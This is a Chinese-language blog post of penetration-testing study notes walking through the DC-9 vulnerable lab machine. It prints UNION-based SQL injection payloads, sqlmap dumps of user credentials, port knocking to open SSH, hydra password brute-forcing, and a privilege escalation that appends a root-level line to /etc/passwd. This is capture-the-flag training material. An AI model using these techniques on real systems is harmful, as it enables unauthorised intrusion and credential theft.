[网络安全学习篇77]:渗透测试实战-DC-9-靶机入侵

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含

[网络安全学习篇62]:CSRF 攻击

[网络安全学习篇63]:SSRF

[网络安全学习篇64]:业务安全

[网络安全学习篇65]:提权

[网络安全学习篇66]:Metasploit(MSF)

[网络安全学习篇67]:python poc-exp

[网络安全学习篇68]:反序列化漏洞

[网络安全学习篇69]:渗透测试实战-DC-1-靶机入侵

[网络安全学习篇70]:渗透测试实战-DC-2-靶机入侵

[网络安全学习篇71]:渗透测试实战-DC-3-靶机入侵

[网络安全学习篇72]:渗透测试实战-DC-4-靶机入侵

[网络安全学习篇73]:渗透测试实战-DC-5-靶机入侵

[网络安全学习篇74]:渗透测试实战-DC-6-靶机入侵

[网络安全学习篇75]:渗透测试实战-DC-7-靶机入侵

[网络安全学习篇76]:渗透测试实战-DC-8-靶机入侵

[网络安全学习篇77]:渗透测试实战-DC-9-靶机入侵(本篇)

下期博文:

[网络安全学习篇78]:Sumo: 1.1 Vulnhub 实战(脏牛漏洞提权)

目录

 

信息收集

nmap

whatweb

御剑

”脱库“

手动注入

sqlmap

knockd-开启ssh

hydra爆破

构建密码字典

提权

拿到flag


信息收集

nmap

nmap -sP 192.168.1.2/24 -oN nmap.sP

nmap -A 192.168.1.172 -p- -oN nmap.A

whatweb

whatweb 192.168.1.172

御剑

访问其80端口

可能存在sql注入

 

 

使用bp 抓包分析

1' union select 1,2,3,4,5,6#

 

 

”脱库“

手动注入

1' union select 1,2,3,4,5,database()#

 

数据表

1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema = database()#

users表中字段

1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#

users 表中信息

1' union select 1,2,3,4,5,group_concat(UserID,Username,Password)from Users#

 

 

sqlmap

vim sqlmap.post

POST /results.php HTTP/1.1

Host: 192.168.1.172

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 121

DNT: 1

Connection: close

Referer: http://192.168.1.172/search.php

Upgrade-Insecure-Requests: 1



search=1

sqlmap -r sqlmap.post --dbs

sqlmap -r sqlmap.post -D users --tables

sqlmap -r sqlmap.post -D users -T UserDetails --dump

 id   | lastname   | reg_date            | username  | firstname | password      |

+------+------------+---------------------+-----------+-----------+---------------+

| 10   | Tribbiani  | 2019-12-29 16:58:26 | joeyt     | Joey      | Passw0rd      |

| 11   | Green      | 2019-12-29 16:58:26 | rachelg   | Rachel    | yN72#dsd      |

| 12   | Geller     | 2019-12-29 16:58:26 | rossg     | Ross      | ILoveRachel   |

| 13   | Geller     | 2019-12-29 16:58:26 | monicag   | Monica    | 3248dsds7s    |

| 14   | Buffay     | 2019-12-29 16:58:26 | phoebeb   | Phoebe    | smellycats    |

| 15   | McScoots   | 2019-12-29 16:58:26 | scoots    | Scooter   | YR3BVxxxw87   |

| 16   | Trump      | 2019-12-29 16:58:26 | janitor   | Donald    | Ilovepeepee   |

| 17   | Morrison   | 2019-12-29 16:58:28 | janitor2  | Scott     | Hawaii-Five-0 |

| 1    | Moe        | 2019-12-29 16:58:26 | marym     | Mary      | 3kfs86sfd     |

| 2    | Dooley     | 2019-12-29 16:58:26 | julied    | Julie     | 468sfdfsd2    |

| 3    | Flintstone | 2019-12-29 16:58:26 | fredf     | Fred      | 4sfd87sfd1    |

| 4    | Rubble     | 2019-12-29 16:58:26 | barneyr   | Barney    | RocksOff      |

| 5    | Cat        | 2019-12-29 16:58:26 | tomc      | Tom       | TC&TheBoyz    |

| 6    | Mouse      | 2019-12-29 16:58:26 | jerrym    | Jerry     | B8m#48sd      |

| 7    | Flintstone | 2019-12-29 16:58:26 | wilmaf    | Wilma     | Pebbles       |

| 8    | Rubble     | 2019-12-29 16:58:26 | bettyr    | Betty     | BamBam01      |

| 9    | Bing       | 2019-12-29 16:58:26 | chandlerb | Chandler  | UrAG0D!  

列出当前数据库名

sqlmap -r sqlmap.post --current-db

sqlmap -r sqlmap.post -D Staff --tables

sqlmap -r sqlmap.post -D Staff -T Users --dump

+--------+----------+----------------------------------+

| UserID | Username | Password                         |

+--------+----------+----------------------------------+

| 1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc |

+--------+----------+----------------------------------+

 

MD5 在线解密 https://www.somd5.com/

得到账密 [admin/transorbital1]

 

使用该账密成功登录网站后台

 

猜测存在文件包含

使用BP 爆破

 

 

 

knockd-开启ssh

开始我们测试ssh端口关闭,wp一波,发现是knockd 保护了22端口

knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。

关于knockd 服务的详细信息,https://zhuanlan.zhihu.com/p/43716885

查看器配置文件/etc/knockd.conf

File does not exist

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

[closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

也就是说我们可以通过依次命中 7469,8475,9842 端口来开启ssh 端口

当然也可以通过依次命中 9842,8475,7469 端口来关闭ssh 端口

 

使用nmap 或nc 来敲击7469,8475,9842 端口,实现敲门

nc:

nc 192.168.1.172 7469

nc 192.168.1.172 8475

nc 192.168.1.172 9842

nmap -p 22 192.168.1.172

nmap:

nmap -p 7469 192.168.1.172

nmap -p 8475 192.168.1.172

nmap -p 9842 192.168.1.172

nmap -p 22 192.168.1.172

 

现在靶机的22端口已经打开了

 

hydra爆破

前面我们在数据库Users 中得到的用户名和密码可以尝试进行爆破

构建密码字典

vim user.dic

joeyt

rachelg

rossg

monicag

phoebeb

scoots

janitor

janitor2

marym

julied

fredf

barneyr

tomc

jerrym

wilmaf

bettyr

chandlerb

vim psswd.dic

Passw0rd

yN72#dsd

ILoveRachel

3248dsds7s

smellycats

YR3BVxxxw87

Ilovepeepee

Hawaii-Five-0

3kfs86sfd

468sfdfsd2

4sfd87sfd1

RocksOff

TC&TheBoyz

B8m#48sd

Pebbles

BamBam01

UrAG0D!

 

hydra -L user.dic -P passwd.dic ssh://192.168.1.172 -o hydra.ssh -vV

[22][ssh] host: 192.168.1.172   login: janitor   password: Ilovepeepee

[22][ssh] host: 192.168.1.172   login: chandlerb   password: UrAG0D!

 

janitor 用户成功登录

 

使用ls -la 命令查看是否存在隐藏文件

 

在隐藏文件目录下得到登录密码

 

vim passwd2.dic

BamBam01

Passw0rd

smellycats

P0Lic#10-4

B4-Tru3-001

4uGU5T-NiGHts

 

hydra -L user.dic -P passwd2.dic ssh://192.168.1.172

[22][ssh] host: 192.168.1.172   login: fredf   password: B4-Tru3-001

 

使用 fredf 用户成功登录

 

提权

 

sudo -l

 

find /opt/ -name "test.py"

 

 

sys.argv[] 第一个参数就是程序本身即test.py,我们可以再传入两个参数

当传入的参数为三个时,会执行else 分支,会将第二个参数的读出写入到第三个的末尾,后面两个参数如何构造很关键

我们想到了 可以在构建一个新的用户,使其具有root 权限

ggg:$1$zvluQcGrrxmrJD3E$B0NB.AXX2HLDgl1kxJxqKoYj7T3uksMrSh0oYgrmm5ILJw.OschYBPlHUAHDsyjJKfbILfmKykLN8xHTgdQi80:0:0:root:/root:/bin/bash

将其写入到一个/tmp/sroot 文件中 /tmp/sroot 作为第二个参数,将其内容读出,写入到/etc/passwd 文件中,那第三个参数自然就是/etc/passwd

输入passwd:root 成功提权

 

拿到flag


参考文献

https://www.cnblogs.com/bingtang123/p/12838424.html

猜你喜欢

转载自blog.csdn.net/weixin_43252204/article/details/106383326